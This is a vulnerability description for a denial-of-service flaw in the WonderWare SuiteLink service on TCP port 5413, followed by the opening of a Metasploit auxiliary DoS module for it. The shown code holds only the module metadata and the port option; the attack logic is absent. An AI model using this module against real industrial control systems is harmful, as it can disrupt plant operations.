The SuiteLink Service (aka slssvc.exe) in WonderWare SuiteLink, as used in WonderWare InTouch, allows remote attackers to cause a denial of service (NULL pointer dereference and service shutdown) and possibly execute arbitrary code via a large length value in a Registration packet to TCP port 5413, which causes a memory allocation failure.
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/projects/Framework/
##
require 'msf/core'
module Msf
class Auxiliary::Dos::Windows::Wonderware::SuitLink < Msf::Auxiliary
include Exploit::Remote::Tcp
def initialize(info = {})
super(update_info(info,
'Name' => 'Wonderware SuitLink Denial of Service',
'Description' => %q{
This module exploits a denial of service vulnerability
within the SuitLink service in Wonderware products.
},
'Author' => [ 'belay tows' ],
'License' => MSF_LICENSE,
'Version' => '$Revision: 1 $',
'References' =>
[
[ 'BID', '28974' ],
[ 'CVE', '2008-2005' ],
],
'DisclosureDate' => 'May 05 2008'))
register_options([Opt::RPORT(5413),], self.class)
end